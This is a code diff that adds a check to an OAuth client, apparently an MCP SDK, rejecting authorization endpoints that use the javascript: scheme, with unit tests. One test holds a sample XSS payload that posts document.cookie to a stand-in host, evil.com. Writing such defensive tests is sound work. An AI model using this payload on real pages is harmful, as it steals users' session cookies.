diff --git a/src/client/auth.ts b/src/client/auth.ts index ab8aff0c..66cfb792 100644 --- a/src/client/auth.ts +++ b/src/client/auth.ts @@ -12,7 +12,7 @@ import { OpenIdProviderDiscoveryMetadataSchema } from "../shared/auth.js"; import { OAuthClientInformationFullSchema, OAuthMetadataSchema, OAuthProtectedResourceMetadataSchema, OAuthTokensSchema } from "../shared/auth.js"; -import { checkResourceAllowed, resourceUrlFromServerUrl } from "../shared/auth-utils.js"; +import { checkResourceAllowed, resourceUrlFromServerUrl, isAuthorizationEndpointSafe } from "../shared/auth-utils.js"; import { InvalidClientError, InvalidGrantError, @@ -774,10 +774,19 @@ export async function discoverAuthorizationServerMetadata( } // Parse and validate based on type + const responseData = await response.json(); + if (type === 'oauth') { - return OAuthMetadataSchema.parse(await response.json()); + const metadata = OAuthMetadataSchema.parse(responseData); + if (!isAuthorizationEndpointSafe(metadata)) { + throw new Error(`Invalid OAuth metadata from ${endpointUrl}: authorization_endpoint uses javascript: scheme which is not allowed for security reasons.`); + } + return metadata; } else { - const metadata = OpenIdProviderDiscoveryMetadataSchema.parse(await response.json()); + const metadata = OpenIdProviderDiscoveryMetadataSchema.parse(responseData); + if (!isAuthorizationEndpointSafe(metadata)) { + throw new Error(`Invalid OIDC metadata from ${endpointUrl}: authorization_endpoint uses javascript: scheme which is not allowed for security reasons.`); + } // MCP spec requires OIDC providers to support S256 PKCE if (!metadata.code_challenge_methods_supported?.includes('S256')) { diff --git a/src/shared/auth-utils.test.ts b/src/shared/auth-utils.test.ts index c1fa7bdf..356f3740 100644 --- a/src/shared/auth-utils.test.ts +++ b/src/shared/auth-utils.test.ts @@ -1,4 +1,4 @@ -import { resourceUrlFromServerUrl, checkResourceAllowed } from './auth-utils.js'; +import { resourceUrlFromServerUrl, checkResourceAllowed, isAuthorizationEndpointSafe } from './auth-utils.js'; describe('auth-utils', () => { describe('resourceUrlFromServerUrl', () => { @@ -58,4 +58,21 @@ describe('auth-utils', () => { expect(checkResourceAllowed({ requestedResource: 'https://example.com/folder', configuredResource: 'https://example.com/folder/' })).toBe(false); }); }); + + describe('isAuthorizationEndpointSafe', () => { + it('should allow safe authorization endpoints', () => { + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/authorize' })).toBe(true); + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/auth' })).toBe(true); + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/tenant1/authorize' })).toBe(true); + }); + + it('should block javascript: authorization endpoints', () => { + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'javascript:alert("XSS")' })).toBe(false); + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'javascript:fetch("https://evil.com/steal",{method:"POST",body:document.cookie})' })).toBe(false); + }); + + it('should pass through for invalid URLs', () => { + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'invalid-url' })).toBe(true); + }); + }); }); diff --git a/src/shared/auth-utils.ts b/src/shared/auth-utils.ts index 97a77c01..49770641 100644 --- a/src/shared/auth-utils.ts +++ b/src/shared/auth-utils.ts @@ -1,5 +1,5 @@ /** - * Utilities for handling OAuth resource URIs. + * Utilities for handling OAuth resource URIs and security validation. */ /** @@ -52,3 +52,22 @@ export function resourceUrlFromServerUrl(url: URL | string ): URL { return requestedPath.startsWith(configuredPath); } + + /** + * Validates OAuth authorization endpoint to prevent JavaScript URL injection attacks. + * + * Checks that the authorization_endpoint doesn't use the javascript: scheme, + * which could lead to code execution when the client redirects users to it. + * + * @param metadata - The OAuth authorization server metadata to validate + * @returns true if authorization endpoint is safe (no javascript: scheme), false otherwise + */ +export function isAuthorizationEndpointSafe(metadata: { authorization_endpoint: string }): boolean { + try { + const url = new URL(metadata.authorization_endpoint); + return url.protocol !== 'javascript:'; + } catch { + // Invalid URL format - let other validation handle this + return true; + } +}